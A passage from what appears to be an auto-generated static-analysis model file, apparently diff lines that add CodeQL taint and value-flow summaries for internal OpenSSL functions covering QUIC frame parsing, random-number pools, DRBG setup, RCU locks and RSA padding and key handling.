*)", "", "Argument[2]", "Argument[*3].Field[*id_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_frame_ack_num_ranges", "(const PACKET *,uint64_t *)", "", "Argument[*0].Field[**curr]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_frame_ack_num_ranges", "(const PACKET *,uint64_t *)", "", "Argument[*0].Field[*curr]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_frame_ack_num_ranges", "(const PACKET *,uint64_t *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_frame_header", "(PACKET *,uint64_t *,int *)", "", "Argument[*0].Field[**curr]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_frame_header", "(PACKET *,uint64_t *,int *)", "", "Argument[*0].Field[*curr]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_frame_header", "(PACKET *,uint64_t *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_transport_param", "(PACKET *,uint64_t *)", "", "Argument[*0].Field[**curr]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_transport_param", "(PACKET *,uint64_t *)", "", "Argument[*0].Field[*curr]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_peek_transport_param", "(PACKET *,uint64_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_wire_skip_frame_header", "(PACKET *,uint64_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_quic_write", "(SSL *,const void *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_write", "(SSL *,const void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_write_flags", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_quic_write_flags", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_cleanup_entropy", "(OSSL_LIB_CTX *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_rand_cleanup_user_entropy", "(OSSL_LIB_CTX *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[**1]", "ReturnValue[*].Field[***parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[*0]", "ReturnValue[*].Field[**provctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[*1]", "ReturnValue[*].Field[**parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[0]", "ReturnValue[*].Field[*provctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "ReturnValue[*].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[5]", "ReturnValue[*].Field[*instantiate]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[6]", "ReturnValue[*].Field[*uninstantiate]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[7]", "ReturnValue[*].Field[*reseed]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_drbg_new", "(void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[8]", "ReturnValue[*].Field[*generate]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_get0_seed_noncreating", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_rand_get0_seed_noncreating", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_rand_get_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[*4]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_get_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[4]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_get_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[5]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_get_user_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[*4]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_get_user_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_get_user_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_get_user_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[4]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_get_user_nonce", "(OSSL_LIB_CTX *,unsigned char **,size_t,size_t,const void *,size_t)", "", "Argument[5]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_add", "(RAND_POOL *,const unsigned char *,size_t,size_t)", "", "Argument[*1]", "Argument[*0].Field[**buffer]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_add", "(RAND_POOL *,const unsigned char *,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[**buffer]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_add", "(RAND_POOL *,const unsigned char *,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[*len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_add", "(RAND_POOL *,const unsigned char *,size_t,size_t)", "", "Argument[3]", "Argument[*0].Field[*entropy]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_add_begin", "(RAND_POOL *,size_t)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_rand_pool_add_begin", "(RAND_POOL *,size_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_rand_pool_add_end", "(RAND_POOL *,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[*len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_add_end", "(RAND_POOL *,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[*entropy]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_adin_mix_in", "(RAND_POOL *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**buffer]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_adin_mix_in", "(RAND_POOL *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**buffer]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_attach", "(const unsigned char *,size_t,size_t)", "", "Argument[*0]", "ReturnValue[*].Field[**buffer]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_attach", "(const unsigned char *,size_t,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*buffer]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_attach", "(const unsigned char *,size_t,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*alloc_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_attach", "(const unsigned char *,size_t,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*len]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_attach", "(const unsigned char *,size_t,size_t)", "", "Argument[2]", "ReturnValue[*].Field[*entropy]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_buffer", "(RAND_POOL *)", "", "Argument[*0].Field[**buffer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_buffer", "(RAND_POOL *)", "", "Argument[*0].Field[*buffer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_bytes_needed", "(RAND_POOL *,unsigned int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_bytes_remaining", "(RAND_POOL *)", "", "Argument[*0].Field[*len]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_bytes_remaining", "(RAND_POOL *)", "", "Argument[*0].Field[*max_len]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_detach", "(RAND_POOL *)", "", "Argument[*0].Field[**buffer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_detach", "(RAND_POOL *)", "", "Argument[*0].Field[*buffer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_entropy", "(RAND_POOL *)", "", "Argument[*0].Field[*entropy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_entropy_available", "(RAND_POOL *)", "", "Argument[*0].Field[*entropy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_entropy_needed", "(RAND_POOL *)", "", "Argument[*0].Field[*entropy]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_entropy_needed", "(RAND_POOL *)", "", "Argument[*0].Field[*entropy_requested]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_length", "(RAND_POOL *)", "", "Argument[*0].Field[*len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_new", "(int,int,size_t,size_t)", "", "Argument[0]", "ReturnValue[*].Field[*entropy_requested]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_new", "(int,int,size_t,size_t)", "", "Argument[1]", "ReturnValue[*].Field[*secure]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_new", "(int,int,size_t,size_t)", "", "Argument[2]", "ReturnValue[*].Field[*alloc_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_new", "(int,int,size_t,size_t)", "", "Argument[2]", "ReturnValue[*].Field[*min_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_new", "(int,int,size_t,size_t)", "", "Argument[3]", "ReturnValue[*].Field[*alloc_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_new", "(int,int,size_t,size_t)", "", "Argument[3]", "ReturnValue[*].Field[*max_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_reattach", "(RAND_POOL *,unsigned char *)", "", "Argument[*1]", "Argument[*0].Field[**buffer]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_pool_reattach", "(RAND_POOL *,unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*buffer]", "value", "dfc-generated"] + - ["", "", True, "ossl_rand_range_uint32", "(OSSL_LIB_CTX *,uint32_t,uint32_t,int *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_range_uint32", "(OSSL_LIB_CTX *,uint32_t,uint32_t,int *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rand_uniform_uint32", "(OSSL_LIB_CTX *,uint32_t,int *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_rcu_call", "(CRYPTO_RCU_LOCK *,rcu_cb_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[**cb_items].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_call", "(CRYPTO_RCU_LOCK *,rcu_cb_fn,void *)", "", "Argument[*0].Field[**cb_items]", "Argument[*0].Field[**cb_items].Field[**next]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_call", "(CRYPTO_RCU_LOCK *,rcu_cb_fn,void *)", "", "Argument[*0].Field[*cb_items]", "Argument[*0].Field[**cb_items].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_call", "(CRYPTO_RCU_LOCK *,rcu_cb_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[**cb_items].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_call", "(CRYPTO_RCU_LOCK *,rcu_cb_fn,void *)", "", "Argument[1]", "Argument[*0].Field[**cb_items].Field[*fn]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_call", "(CRYPTO_RCU_LOCK *,rcu_cb_fn,void *)", "", "Argument[2]", "Argument[*0].Field[**cb_items].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_lock_new", "(int,OSSL_LIB_CTX *)", "", "Argument[*1]", "ReturnValue[*].Field[**ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_lock_new", "(int,OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*group_count]", "value", "dfc-generated"] + - ["", "", True, "ossl_rcu_lock_new", "(int,OSSL_LIB_CTX *)", "", "Argument[1]", "ReturnValue[*].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rio_notifier_cleanup", "(RIO_NOTIFIER *)", "", "Argument[*0].Field[*wfd]", "Argument[*0].Field[*rfd]", "value", "dfc-generated"] + - ["", "", True, "ossl_rlayer_fatal", "(OSSL_RECORD_LAYER *,int,int,const char *,...)", "", "Argument[1]", "Argument[*0].Field[*alert]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_check_crt_components", "(const RSA *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_check_pminusq_diff", "(BIGNUM *,const BIGNUM *,const BIGNUM *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_check_pminusq_diff", "(BIGNUM *,const BIGNUM *,const BIGNUM *,int)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_check_pminusq_diff", "(BIGNUM *,const BIGNUM *,const BIGNUM *,int)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_check_pminusq_diff", "(BIGNUM *,const BIGNUM *,const BIGNUM *,int)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_check_prime_factor", "(BIGNUM *,BIGNUM *,int,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_dup", "(const RSA *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_fips186_4_gen_prob_primes", "(RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_fips186_4_gen_prob_primes", "(RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_fips186_4_gen_prob_primes", "(RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_fips186_4_gen_prob_primes", "(RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_fips186_4_gen_prob_primes", "(RSA *,void *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_fromdata", "(RSA *,const OSSL_PARAM[],int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_get0_all_params", "(RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get0_all_params", "(RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get0_all_params", "(RSA *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *,stack_st_BIGNUM_const *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get0_libctx", "(RSA *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_get0_libctx", "(RSA *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_get0_pss_params_30", "(RSA *)", "", "Argument[*0].Field[*pss_params]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*0]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*5]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*5]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*5]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*6]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*6]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*6]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*6]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_get_lcm", "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*7]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_key_from_pkcs8", "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_multiprime_derive", "(RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)", "", "Argument[*0]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_multiprime_derive", "(RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)", "", "Argument[*0]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_multiprime_derive", "(RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_multiprime_derive", "(RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *)", "", "Argument[*4]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_rsa_new_with_ctx", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_new_with_ctx", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*3]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*7]", "Argument[*8]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[*8]", "Argument[*7]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_OAEP_mgf1_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_PSS_mgf1", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_PSS_mgf1", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *)", "", "Argument[*4]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_PSS_mgf1", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_PSS_mgf1", "(RSA *,unsigned char *,const unsigned char *,const EVP_MD *,const EVP_MD *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_type_2_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int)", "", "Argument[*3]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_type_2_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_type_2_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_type_2_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_add_PKCS1_type_2_ex", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_check_PKCS1_type_2", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *)", "", "Argument[*3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_check_PKCS1_type_2", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_check_PKCS1_type_2", "(OSSL_LIB_CTX *,unsigned char *,int,const unsigned char *,int,int,unsigned char *)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_check_PKCS1_type_2_TLS", "(OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int)", "", "Argument[*3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_check_PKCS1_type_2_TLS", "(OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_padding_check_PKCS1_type_2_TLS", "(OSSL_LIB_CTX *,unsigned char *,size_t,const unsigned char *,size_t,int,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_get_param", "(const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_get_param", "(const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_get_param", "(const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_get_param_unverified", "(const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_get_param_unverified", "(const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_rsa_pss_params_30_copy", "(RSA_PSS_PARAMS_30 *,const 